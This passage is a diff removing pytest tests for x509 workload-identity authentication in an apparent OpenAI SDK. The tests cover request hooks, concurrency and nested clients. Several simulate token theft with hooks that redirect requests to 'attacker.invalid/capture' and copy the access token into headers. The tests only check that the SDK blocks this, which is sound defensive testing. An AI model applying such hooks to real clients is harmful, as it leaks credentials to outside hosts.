assert captures == ["https://mtls.auth.openai.com/oauth/token"], captures - """ - ) - result = subprocess.run( - [sys.executable, "-c", script, "async" if is_async else "sync"], capture_output=True, check=False, text=True - ) - assert result.returncode == 0, result.stderr - - -@pytest.mark.parametrize("reconstruct", [False, True]) -def test_sync_x509_validates_requests_dispatched_by_custom_clients_in_another_thread(reconstruct: bool) -> None: - requests: list[httpx2.Request] = [] - - class ThreadDispatchClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if reconstruct: - request = httpx2.Request(request.method, request.url, headers=dict(request.headers)) - with ThreadPoolExecutor(max_workers=1) as executor: - return executor.submit(super().send, request, **kwargs).result() - - def redirect(request: httpx2.Request) -> None: - request.url = httpx2.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - http_client = ThreadDispatchClient( - transport=httpx2.MockTransport(lambda request: _record(requests, request)), - event_hooks={"request": [redirect]}, - trust_env=False, - ) - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin"): - client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] - - -def test_sync_x509_keeps_equal_http_clients_in_distinct_security_scopes() -> None: - class EqualClient(httpx2.Client): - @override - def __eq__(self, other: object) -> bool: - return isinstance(other, EqualClient) - - @override - def __hash__(self) -> int: - return 1 - - first_requests: list[httpx2.Request] = [] - second_requests: list[httpx2.Request] = [] - first_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(first_requests, request))) - second_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(second_requests, request))) - - def redirect(request: httpx2.Request) -> None: - request.url = httpx2.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - second_transport.event_hooks["request"].append(redirect) - with OpenAI(workload_identity=_identity(), http_client=first_transport, max_retries=0) as first: - assert first.models.list().object == "list" - with OpenAI(workload_identity=_identity(), http_client=second_transport, max_retries=0) as second: - with pytest.raises(OpenAIError, match="configured API origin"): - second.models.list() - - assert [str(request.url) for request in second_requests] == [_TOKEN_URL] - - -async def test_async_x509_keeps_equal_http_clients_in_distinct_security_scopes() -> None: - class EqualClient(httpx2.AsyncClient): - @override - def __eq__(self, other: object) -> bool: - return isinstance(other, EqualClient) - - @override - def __hash__(self) -> int: - return 1 - - first_requests: list[httpx2.Request] = [] - second_requests: list[httpx2.Request] = [] - first_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(first_requests, request))) - second_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(second_requests, request))) - - async def redirect(request: httpx2.Request) -> None: - request.url = httpx2.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - second_transport.event_hooks["request"].append(redirect) - async with AsyncOpenAI(workload_identity=_identity(), http_client=first_transport, max_retries=0) as first: - assert (await first.models.list()).object == "list" - async with AsyncOpenAI(workload_identity=_identity(), http_client=second_transport, max_retries=0) as second: - with pytest.raises(OpenAIError, match="configured API origin"): - await second.models.list() - - assert [str(request.url) for request in second_requests] == [_TOKEN_URL] - - -def test_sync_x509_accepts_unhashable_custom_http_clients() -> None: - class UnhashableClient(httpx2.Client): - @override - def __eq__(self, other: object) -> bool: - return self is other - - http_client = UnhashableClient(transport=httpx2.MockTransport(_response)) - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - assert client.models.list().object == "list" - - -async def test_async_x509_accepts_unhashable_custom_http_clients() -> None: - class UnhashableClient(httpx2.AsyncClient): - @override - def __eq__(self, other: object) -> bool: - return self is other - - http_client = UnhashableClient(transport=httpx2.MockTransport(_response)) - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - assert (await client.models.list()).object == "list" - - -def test_sync_x509_preserves_request_hooks_added_during_send() -> None: - calls: list[str] = [] - http_client = httpx2.Client(transport=httpx2.MockTransport(_response)) - - def appended(_request: httpx2.Request) -> None: - calls.append("appended") - - def initial(_request: httpx2.Request) -> None: - calls.append("initial") - if appended not in http_client.event_hooks["request"]: - http_client.event_hooks["request"].append(appended) - - http_client.event_hooks["request"].append(initial) - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - client.models.list() - assert len(http_client.event_hooks["request"]) == 2 - client.models.list() - - assert calls == ["initial", "appended", "initial", "appended"] - - -async def test_async_x509_preserves_request_hooks_added_during_send() -> None: - calls: list[str] = [] - http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(_response)) - - async def appended(_request: httpx2.Request) -> None: - calls.append("appended") - - async def initial(_request: httpx2.Request) -> None: - calls.append("initial") - if appended not in http_client.event_hooks["request"]: - http_client.event_hooks["request"].append(appended) - - http_client.event_hooks["request"].append(initial) - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - await client.models.list() - assert len(http_client.event_hooks["request"]) == 2 - await client.models.list() - - assert calls == ["initial", "appended", "initial", "appended"] - - -@pytest.mark.parametrize( - "mutation", - [ - "remove", - "append", - "mixed", - "extend", - "insert", - "pop", - "setitem", - "slice", - "delete", - "iadd", - "imul", - "self_extend", - "self_iadd", - "self_slice", - ], -) -def test_sync_x509_preserves_mutations_through_retained_request_hook_lists(mutation: str) -> None: - calls: list[str] = [] - http_client = httpx2.Client(transport=httpx2.MockTransport(_response)) - retained_hooks = http_client.event_hooks["request"] - - def appended(_request: httpx2.Request) -> None: - calls.append("appended") - - def initial(_request: httpx2.Request) -> None: - calls.append("initial") - scoped_hooks = http_client.event_hooks["request"] - if mutation == "remove": - retained_hooks.remove(initial) - elif mutation == "append": - if appended not in retained_hooks: - retained_hooks.append(appended) - assert scoped_hooks == retained_hooks - assert scoped_hooks + [] == retained_hooks - assert [] + scoped_hooks == retained_hooks - assert scoped_hooks * 2 == retained_hooks * 2 - assert 2 * scoped_hooks == 2 * retained_hooks - assert list(reversed(scoped_hooks)) == list(reversed(retained_hooks)) - assert repr(scoped_hooks) == repr(retained_hooks) - elif mutation == "mixed": - retained_hooks.remove(initial) - scoped_hooks.append(appended) - elif mutation == "extend" and appended not in scoped_hooks: - scoped_hooks.extend([appended]) - elif mutation == "insert" and appended not in scoped_hooks: - scoped_hooks.insert(len(scoped_hooks), appended) - elif mutation == "pop": - scoped_hooks.pop(0) - elif mutation == "setitem": - scoped_hooks[0] = appended - elif mutation == "slice": - scoped_hooks[:] = [appended] - elif mutation == "delete": - del scoped_hooks[0] - elif mutation == "iadd" and appended not in scoped_hooks: - scoped_hooks += [appended] - elif mutation == "imul" and len(scoped_hooks) == 1: - scoped_hooks *= 2 - elif mutation == "self_extend" and len(scoped_hooks) == 1: - scoped_hooks.extend(scoped_hooks) - elif mutation == "self_iadd" and len(scoped_hooks) == 1: - scoped_hooks += scoped_hooks - elif mutation == "self_slice": - scoped_hooks[:] = scoped_hooks - - retained_hooks.append(initial) - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - client.models.list() - assert http_client.event_hooks["request"] is retained_hooks - expected_hooks = ( - [] - if mutation in ("remove", "pop", "delete") - else [appended] - if mutation in ("mixed", "setitem", "slice") - else [initial, initial] - if mutation in ("imul", "self_extend", "self_iadd") - else [initial] - if mutation == "self_slice" - else [initial, appended] - ) - assert retained_hooks == expected_hooks - client.models.list() - - expected_calls = ( - ["initial"] - if mutation in ("remove", "pop", "delete") - else ["initial", "appended"] - if mutation in ("mixed", "setitem", "slice") - else ["initial"] * 4 - if mutation in ("imul", "self_extend", "self_iadd") - else ["initial", "initial"] - if mutation == "self_slice" - else ["initial", "appended", "initial", "appended"] - ) - assert calls == expected_calls - - -@pytest.mark.parametrize( - "mutation", - [ - "remove", - "append", - "mixed", - "extend", - "insert", - "pop", - "setitem", - "slice", - "delete", - "iadd", - "imul", - "self_extend", - "self_iadd", - "self_slice", - ], -) -async def test_async_x509_preserves_mutations_through_retained_request_hook_lists(mutation: str) -> None: - calls: list[str] = [] - http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(_response)) - retained_hooks = http_client.event_hooks["request"] - - async def appended(_request: httpx2.Request) -> None: - calls.append("appended") - - async def initial(_request: httpx2.Request) -> None: - calls.append("initial") - scoped_hooks = http_client.event_hooks["request"] - if mutation == "remove": - retained_hooks.remove(initial) - elif mutation == "append": - if appended not in retained_hooks: - retained_hooks.append(appended) - assert scoped_hooks == retained_hooks - assert scoped_hooks + [] == retained_hooks - assert [] + scoped_hooks == retained_hooks - assert scoped_hooks * 2 == retained_hooks * 2 - assert 2 * scoped_hooks == 2 * retained_hooks - assert list(reversed(scoped_hooks)) == list(reversed(retained_hooks)) - assert repr(scoped_hooks) == repr(retained_hooks) - elif mutation == "mixed": - retained_hooks.remove(initial) - scoped_hooks.append(appended) - elif mutation == "extend" and appended not in scoped_hooks: - scoped_hooks.extend([appended]) - elif mutation == "insert" and appended not in scoped_hooks: - scoped_hooks.insert(len(scoped_hooks), appended) - elif mutation == "pop": - scoped_hooks.pop(0) - elif mutation == "setitem": - scoped_hooks[0] = appended - elif mutation == "slice": - scoped_hooks[:] = [appended] - elif mutation == "delete": - del scoped_hooks[0] - elif mutation == "iadd" and appended not in scoped_hooks: - scoped_hooks += [appended] - elif mutation == "imul" and len(scoped_hooks) == 1: - scoped_hooks *= 2 - elif mutation == "self_extend" and len(scoped_hooks) == 1: - scoped_hooks.extend(scoped_hooks) - elif mutation == "self_iadd" and len(scoped_hooks) == 1: - scoped_hooks += scoped_hooks - elif mutation == "self_slice": - scoped_hooks[:] = scoped_hooks - - retained_hooks.append(initial) - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - await client.models.list() - assert http_client.event_hooks["request"] is retained_hooks - expected_hooks = ( - [] - if mutation in ("remove", "pop", "delete") - else [appended] - if mutation in ("mixed", "setitem", "slice") - else [initial, initial] - if mutation in ("imul", "self_extend", "self_iadd") - else [initial] - if mutation == "self_slice" - else [initial, appended] - ) - assert retained_hooks == expected_hooks - await client.models.list() - - expected_calls = ( - ["initial"] - if mutation in ("remove", "pop", "delete") - else ["initial", "appended"] - if mutation in ("mixed", "setitem", "slice") - else ["initial"] * 4 - if mutation in ("imul", "self_extend", "self_iadd") - else ["initial", "initial"] - if mutation == "self_slice" - else ["initial", "appended", "initial", "appended"] - ) - assert calls == expected_calls - - -@pytest.mark.parametrize("mutation", ["extend", "iadd", "slice"]) -def test_x509_hook_list_composition_never_retains_private_validation_callbacks(mutation: str) -> None: - first_hooks: list[Any] = [object()] - second_hooks: list[Any] = [object()] - first_validator = object() - second_validator = object() - first = _FinalizingRequestHooks(first_hooks, first_validator) - second = _FinalizingRequestHooks(second_hooks, second_validator) - - if mutation == "extend": - first.extend(second) - elif mutation == "iadd": - first += second - else: - first[:] = second - - assert first_validator not in first_hooks - assert second_validator not in first_hooks - expected = second_hooks if mutation == "slice" else [first_hooks[0], *second_hooks] - assert first_hooks == expected - - -@pytest.mark.parametrize("instance_send", [False, True]) -def test_sync_x509_preserves_custom_client_send_and_response_encoding(instance_send: bool) -> None: - class RecordingClient(httpx2.Client): - def __init__(self) -> None: - self.sent: list[str] = [] - self.send_count = 0 - self.lifecycle: list[str] = [] - super().__init__( - default_encoding="latin-1", - transport=httpx2.MockTransport( - lambda request: ( - _response(request) - if str(request.url) == _TOKEN_URL - else httpx2.Response(200, request=request, content=b"caf\xe9") - ) - ), - ) - - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - assert self is http_client - self.sent.append(str(request.url)) - self.send_count += 1 - return super().send(request, **kwargs) - - @override - def __enter__(self) -> RecordingClient: - self.lifecycle.append("enter") - return super().__enter__() - - @override - def __exit__(self, *args: Any) -> None: - self.lifecycle.append("exit") - super().__exit__(*args) - - http_client = RecordingClient() - original_send = http_client.send - if instance_send: - vars(http_client)["send"] = original_send - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - response = client.get("/models", cast_to=httpx2.Response) - assert response.text == "café" - assert http_client.sent == [_API_URL] - assert http_client.send_count == 1 - assert http_client.lifecycle == [] - assert http_client._state.name == "OPENED" - assert (vars(http_client).get("send") is original_send) is instance_send - - -@pytest.mark.parametrize("instance_send", [False, True]) -async def test_async_x509_preserves_custom_client_send_and_response_encoding(instance_send: bool) -> None: - class RecordingClient(httpx2.AsyncClient): - def __init__(self) -> None: - self.sent: list[str] = [] - self.send_count = 0 - self.lifecycle: list[str] = [] - super().__init__( - default_encoding="latin-1", - transport=httpx2.MockTransport( - lambda request: ( - _response(request) - if str(request.url) == _TOKEN_URL - else httpx2.Response(200, request=request, content=b"caf\xe9") - ) - ), - ) - - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - assert self is http_client - self.sent.append(str(request.url)) - self.send_count += 1 - return await super().send(request, **kwargs) - - @override - async def __aenter__(self) -> RecordingClient: - self.lifecycle.append("enter") - return await super().__aenter__() - - @override - async def __aexit__(self, *args: Any) -> None: - self.lifecycle.append("exit") - await super().__aexit__(*args) - - http_client = RecordingClient() - original_send = http_client.send - if instance_send: - vars(http_client)["send"] = original_send - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - response = await client.get("/models", cast_to=httpx2.Response) - assert response.text == "café" - assert http_client.sent == [_API_URL] - assert http_client.send_count == 1 - assert http_client.lifecycle == [] - assert http_client._state.name == "OPENED" - assert (vars(http_client).get("send") is original_send) is instance_send - - -def test_sync_x509_preserves_custom_client_state_across_concurrent_requests() -> None: - barrier = threading.Barrier(2) - - class CountingClient(httpx2.Client): - def __init__(self) -> None: - self.send_count = 0 - super().__init__(transport=httpx2.MockTransport(_response)) - - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - self.send_count += 1 - barrier.wait(timeout=5) - return super().send(request, **kwargs) - - http_client = CountingClient() - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with ThreadPoolExecutor(max_workers=2) as executor: - futures = [executor.submit(client.models.list) for _ in range(2)] - assert [future.result().object for future in futures] == ["list", "list"] - - assert http_client.send_count == 2 - - -async def test_async_x509_preserves_custom_client_state_across_concurrent_requests() -> None: - ready = asyncio.Event() - started = 0 - - class CountingClient(httpx2.AsyncClient): - def __init__(self) -> None: - self.send_count = 0 - super().__init__(transport=httpx2.MockTransport(_response)) - - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - nonlocal started - self.send_count += 1 - started += 1 - if started == 2: - ready.set() - await ready.wait() - return await super().send(request, **kwargs) - - http_client = CountingClient() - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - responses = await asyncio.gather(client.models.list(), client.models.list()) - assert [response.object for response in responses] == ["list", "list"] - - assert http_client.send_count == 2 - - -def test_sync_x509_preserves_slotted_custom_client_state() -> None: - class SlottedClient(httpx2.Client): - __slots__ = ("send_count",) - - def __init__(self) -> None: - self.send_count = 0 - super().__init__(transport=httpx2.MockTransport(_response)) - - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - self.send_count += 1 - return super().send(request, **kwargs) - - http_client = SlottedClient() - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - client.models.list() - - assert http_client.send_count == 1 - - -async def test_async_x509_preserves_slotted_custom_client_state() -> None: - class SlottedClient(httpx2.AsyncClient): - __slots__ = ("send_count",) - - def __init__(self) -> None: - self.send_count = 0 - super().__init__(transport=httpx2.MockTransport(_response)) - - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - self.send_count += 1 - return await super().send(request, **kwargs) - - http_client = SlottedClient() - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - await client.models.list() - - assert http_client.send_count == 1 - - -def test_sync_x509_preserves_immutable_custom_client_state_across_concurrent_requests() -> None: - barrier = threading.Barrier(2) - - class RecordingClient(httpx2.Client): - def __init__(self) -> None: - self.history: tuple[str, ...] = () - super().__init__(transport=httpx2.MockTransport(_response)) - - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - self.history += (str(request.url),) - barrier.wait(timeout=5) - return super().send(request, **kwargs) - - http_client = RecordingClient() - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with ThreadPoolExecutor(max_workers=2) as executor: - futures = [executor.submit(client.models.list) for _ in range(2)] - assert [future.result().object for future in futures] == ["list", "list"] - - assert http_client.history == (_API_URL, _API_URL) - - -async def test_async_x509_preserves_immutable_custom_client_state_across_concurrent_requests() -> None: - ready = asyncio.Event() - started = 0 - - class RecordingClient(httpx2.AsyncClient): - def __init__(self) -> None: - self.history: tuple[str, ...] = () - super().__init__(transport=httpx2.MockTransport(_response)) - - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - nonlocal started - self.history += (str(request.url),) - started += 1 - if started == 2: - ready.set() - await ready.wait() - return await super().send(request, **kwargs) - - http_client = RecordingClient() - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - responses = await asyncio.gather(client.models.list(), client.models.list()) - assert [response.object for response in responses] == ["list", "list"] - - assert http_client.history == (_API_URL, _API_URL) - - -def test_sync_x509_preserves_mounted_transports_and_restores_caller_configuration() -> None: - exchange_requests: list[httpx2.Request] = [] - api_requests: list[httpx2.Request] = [] - exchange_transport = httpx2.MockTransport(lambda request: _record(exchange_requests, request)) - api_transport = httpx2.MockTransport(lambda request: _record(api_requests, request)) - http_client = httpx2.Client( - transport=exchange_transport, - mounts={"https://mtls.api.openai.com": api_transport}, - trust_env=False, - ) - original_mounts = http_client._mounts - - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - assert client.models.list().object == "list" - assert http_client._transport is exchange_transport - assert http_client._mounts is original_mounts - - assert [str(request.url) for request in exchange_requests] == [_TOKEN_URL] - assert [str(request.url) for request in api_requests] == [_API_URL] - - -async def test_async_x509_preserves_mounted_transports_and_restores_caller_configuration() -> None: - exchange_requests: list[httpx2.Request] = [] - api_requests: list[httpx2.Request] = [] - exchange_transport = httpx2.MockTransport(lambda request: _record(exchange_requests, request)) - api_transport = httpx2.MockTransport(lambda request: _record(api_requests, request)) - http_client = httpx2.AsyncClient( - transport=exchange_transport, - mounts={"https://mtls.api.openai.com": api_transport}, - trust_env=False, - ) - original_mounts = http_client._mounts - - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - assert (await client.models.list()).object == "list" - assert http_client._transport is exchange_transport - assert http_client._mounts is original_mounts - - assert [str(request.url) for request in exchange_requests] == [_TOKEN_URL] - assert [str(request.url) for request in api_requests] == [_API_URL] - - -@pytest.mark.parametrize( - "nested_mode", - [ - "x509", - "api_key", - "matching_api_key", - "direct", - "direct_prebuilt", - "direct_prebuilt_authorized", - "direct_prebuilt_propagated", - "direct_prebuilt_authorized_propagated", - "direct_authorized", - "direct_propagated", - "direct_authorized_propagated", - "direct_reconstructed", - "direct_authorized_reconstructed", - "direct_propagated_reconstructed", - "direct_authorized_propagated_reconstructed", - "direct_hook_authorized_reconstructed", - "direct_hook_authorized_propagated_reconstructed", - "direct_hook_redirected_reconstructed", - "direct_hook_redirected_authorized_reconstructed", - ], -) -def test_sync_x509_allows_nested_requests_using_the_same_http_client(nested_mode: str) -> None: - requests: list[httpx2.Request] = [] - - class NestedClient(httpx2.Client): - def __init__(self) -> None: - self.nested: OpenAI | None = None - self.nested_completed = False - - def authorize_telemetry(request: httpx2.Request) -> None: - if request.url.host == "telemetry.example": - if "hook_authorized" in nested_mode: - request.headers["Authorization"] = "Bearer telemetry-token" - if "hook_redirected" in nested_mode: - request.url = httpx2.URL("https://collector.example/v1/models") - request.headers["host"] = "collector.example" - - super().__init__( - transport=httpx2.MockTransport(lambda request: _record(requests, request)), - event_hooks={"request": [authorize_telemetry]}, - ) - - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if not self.nested_completed and (self.nested is not None or nested_mode.startswith("direct")): - self.nested_completed = True - if nested_mode.startswith("direct"): - headers = ( - { - name: value - for name, value in request.headers.items() - if name.lower() not in ("authorization", "host") - } - if "propagated" in nested_mode - else {} - ) - if "authorized" in nested_mode and "hook_authorized" not in nested_mode: - headers["Authorization"] = "Bearer telemetry-token" - if "prebuilt" in nested_mode: - auxiliary = httpx2.Request("GET", "https://telemetry.example/v1/models", headers=headers) - response = self.send(auxiliary) - else: - response = self.get("https://telemetry.example/v1/models", headers=headers) - assert response.json()["object"] == "list" - else: - assert self.nested is not None - assert self.nested.models.list().object == "list" - if request.url.host == "telemetry.example" and "reconstructed" in nested_mode: - request = httpx2.Request(request.method, request.url, headers=dict(request.headers)) - return super().send(request, **kwargs) - - http_client = NestedClient() - if nested_mode == "x509": - nested_identity = x509_workload_identity(identity_provider_id="nested-idp", service_account_id="nested-svc") - http_client.nested = OpenAI(workload_identity=nested_identity, http_client=http_client, max_retries=0) - elif not nested_mode.startswith("direct"): - api_key = "access-token" if nested_mode == "matching_api_key" else "nested-api-key" - http_client.nested = OpenAI( - api_key=api_key, base_url="https://nested.example/v1", http_client=http_client, max_retries=0 - ) - - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - if nested_mode == "direct_prebuilt_authorized_propagated": - with pytest.raises(OpenAIError, match="configured API origin"): - client.models.list() - else: - assert client.models.list().object == "list" - - assert http_client.nested_completed - - -@pytest.mark.parametrize( - "nested_mode", - [ - "x509", - "api_key", - "matching_api_key", - "direct", - "direct_prebuilt", - "direct_prebuilt_authorized", - "direct_prebuilt_propagated", - "direct_prebuilt_authorized_propagated", - "direct_authorized", - "direct_propagated", - "direct_authorized_propagated", - "direct_reconstructed", - "direct_authorized_reconstructed", - "direct_propagated_reconstructed", - "direct_authorized_propagated_reconstructed", - "direct_hook_authorized_reconstructed", - "direct_hook_authorized_propagated_reconstructed", - "direct_hook_redirected_reconstructed", - "direct_hook_redirected_authorized_reconstructed", - ], -) -async def test_async_x509_allows_nested_requests_using_the_same_http_client(nested_mode: str) -> None: - requests: list[httpx2.Request] = [] - - class NestedClient(httpx2.AsyncClient): - def __init__(self) -> None: - self.nested: AsyncOpenAI | None = None - self.nested_completed = False - - async def authorize_telemetry(request: httpx2.Request) -> None: - if request.url.host == "telemetry.example": - if "hook_authorized" in nested_mode: - request.headers["Authorization"] = "Bearer telemetry-token" - if "hook_redirected" in nested_mode: - request.url = httpx2.URL("https://collector.example/v1/models") - request.headers["host"] = "collector.example" - - super().__init__( - transport=httpx2.MockTransport(lambda request: _record(requests, request)), - event_hooks={"request": [authorize_telemetry]}, - ) - - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if not self.nested_completed and (self.nested is not None or nested_mode.startswith("direct")): - self.nested_completed = True - if nested_mode.startswith("direct"): - headers = ( - { - name: value - for name, value in request.headers.items() - if name.lower() not in ("authorization", "host") - } - if "propagated" in nested_mode - else {} - ) - if "authorized" in nested_mode and "hook_authorized" not in nested_mode: - headers["Authorization"] = "Bearer telemetry-token" - if "prebuilt" in nested_mode: - auxiliary = httpx2.Request("GET", "https://telemetry.example/v1/models", headers=headers) - response = await self.send(auxiliary) - else: - response = await self.get("https://telemetry.example/v1/models", headers=headers) - assert response.json()["object"] == "list" - else: - assert self.nested is not None - assert (await self.nested.models.list()).object == "list" - if request.url.host == "telemetry.example" and "reconstructed" in nested_mode: - request = httpx2.Request(request.method, request.url, headers=dict(request.headers)) - return await super().send(request, **kwargs) - - http_client = NestedClient() - if nested_mode == "x509": - nested_identity = x509_workload_identity(identity_provider_id="nested-idp", service_account_id="nested-svc") - http_client.nested = AsyncOpenAI(workload_identity=nested_identity, http_client=http_client, max_retries=0) - elif not nested_mode.startswith("direct"): - api_key = "access-token" if nested_mode == "matching_api_key" else "nested-api-key" - http_client.nested = AsyncOpenAI( - api_key=api_key, base_url="https://nested.example/v1", http_client=http_client, max_retries=0 - ) - - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - if nested_mode == "direct_prebuilt_authorized_propagated": - with pytest.raises(OpenAIError, match="configured API origin"): - await client.models.list() - else: - assert (await client.models.list()).object == "list" - - assert http_client.nested_completed - - -@pytest.mark.parametrize("prebuilt", [False, True]) -@pytest.mark.parametrize("credential_header", ["Authorization", "X-Copied-Credential"]) -def test_sync_x509_rejects_auxiliary_hooks_that_add_the_active_access_token( - prebuilt: bool, credential_header: str -) -> None: - requests: list[httpx2.Request] = [] - - def inject_token(request: httpx2.Request) -> None: - if request.url.host == "telemetry.example": - request.headers[credential_header] = "Bearer access-token" - request.url = httpx2.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - class NestedClient(httpx2.Client): - def __init__(self) -> None: - self.sent_auxiliary = False - super().__init__( - transport=httpx2.MockTransport(lambda request: _record(requests, request)), - event_hooks={"request": [inject_token]}, - ) - - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if not self.sent_auxiliary: - self.sent_auxiliary = True - if prebuilt: - self.send(httpx2.Request("GET", "https://telemetry.example/v1/models")) - else: - self.get("https://telemetry.example/v1/models") - return super().send(request, **kwargs) - - http_client = NestedClient() - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] - - -@pytest.mark.parametrize("prebuilt", [False, True]) -@pytest.mark.parametrize("credential_header", ["Authorization", "X-Copied-Credential"]) -async def test_async_x509_rejects_auxiliary_hooks_that_add_the_active_access_token( - prebuilt: bool, credential_header: str -) -> None: - requests: list[httpx2.Request] = [] - - async def inject_token(request: httpx2.Request) -> None: - if request.url.host == "telemetry.example": - request.headers[credential_header] = "Bearer access-token" - request.url = httpx2.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - class NestedClient(httpx2.AsyncClient): - def __init__(self) -> None: - self.sent_auxiliary = False - super().__init__( - transport=httpx2.MockTransport(lambda request: _record(requests, request)), - event_hooks={"request": [inject_token]}, - ) - - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if not self.sent_auxiliary: - self.sent_auxiliary = True - if prebuilt: - await self.send(httpx2.Request("GET", "https://telemetry.example/v1/models")) - else: - await self.get("https://telemetry.example/v1/models") - return await super().send(request, **kwargs) - - http_client = NestedClient() - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - await client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] - - -def test_sync_x509_releases_auxiliary_markers_while_protected_requests_overlap() -> None: - first_active = threading.Event() - release_first = threading.Event() - original_markers = set(_ACTIVE_AUXILIARY_TRANSPORT_MARKERS) - - class ConcurrentClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - if request.headers.get("Authorization") == "Bearer token-one": - first_active.set() - assert release_first.wait(timeout=10) - else: - for _ in range(8): - assert self.get("https://telemetry.example/collect").status_code == 200 - assert _ACTIVE_AUXILIARY_TRANSPORT_MARKERS == original_markers - self.build_request("GET", "https://telemetry.example/unsent") - return super().send(request, **kwargs) - - def response(request: httpx2.Request) -> httpx2.Response: - if str(request.url) == _TOKEN_URL: - suffix = json.loads(request.content)["identity_provider_id"].rsplit("-", 1)[-1] - return httpx2.Response(200, request=request, json={"access_token": f"token-{suffix}", "expires_in": 3600}) - return httpx2.Response(200, request=request, json={"object": "list", "data": []}) - - transport = ConcurrentClient(transport=httpx2.MockTransport(response)) - clients = [ - OpenAI( - workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), - http_client=transport, - max_retries=0, - ) - for suffix in ("one", "two") - ] - - with ThreadPoolExecutor(max_workers=2) as executor: - first = executor.submit(clients[0].models.list) - assert first_active.wait(timeout=5) - second = executor.submit(clients[1].models.list) - assert second.result(timeout=5).object == "list" - assert _ACTIVE_AUXILIARY_TRANSPORT_MARKERS == original_markers - assert not _client_transport_scope(transport, is_async=False)._auxiliary_request_markers - release_first.set() - assert first.result(timeout=5).object == "list" - - assert not any(marker not in original_markers for marker in _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES) - - -async def test_async_x509_releases_auxiliary_markers_while_protected_requests_overlap() -> None: - first_active = asyncio.Event() - release_first = asyncio.Event() - original_markers = set(_ACTIVE_AUXILIARY_TRANSPORT_MARKERS) - - class ConcurrentClient(httpx2.AsyncClient): - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - if request.headers.get("Authorization") == "Bearer token-one": - first_active.set() - await asyncio.wait_for(release_first.wait(), timeout=10) - else: - for _ in range(8): - assert (await self.get("https://telemetry.example/collect")).status_code == 200 - assert _ACTIVE_AUXILIARY_TRANSPORT_MARKERS == original_markers - self.build_request("GET", "https://telemetry.example/unsent") - return await super().send(request, **kwargs) - - def response(request: httpx2.Request) -> httpx2.Response: - if str(request.url) == _TOKEN_URL: - suffix = json.loads(request.content)["identity_provider_id"].rsplit("-", 1)[-1] - return httpx2.Response(200, request=request, json={"access_token": f"token-{suffix}", "expires_in": 3600}) - return httpx2.Response(200, request=request, json={"object": "list", "data": []}) - - transport = ConcurrentClient(transport=httpx2.MockTransport(response)) - clients = [ - AsyncOpenAI( - workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), - http_client=transport, - max_retries=0, - ) - for suffix in ("one", "two") - ] - - async def request_first() -> Any: - return await clients[0].models.list() - - first = asyncio.create_task(request_first()) - await asyncio.wait_for(first_active.wait(), timeout=5) - assert (await clients[1].models.list()).object == "list" - assert 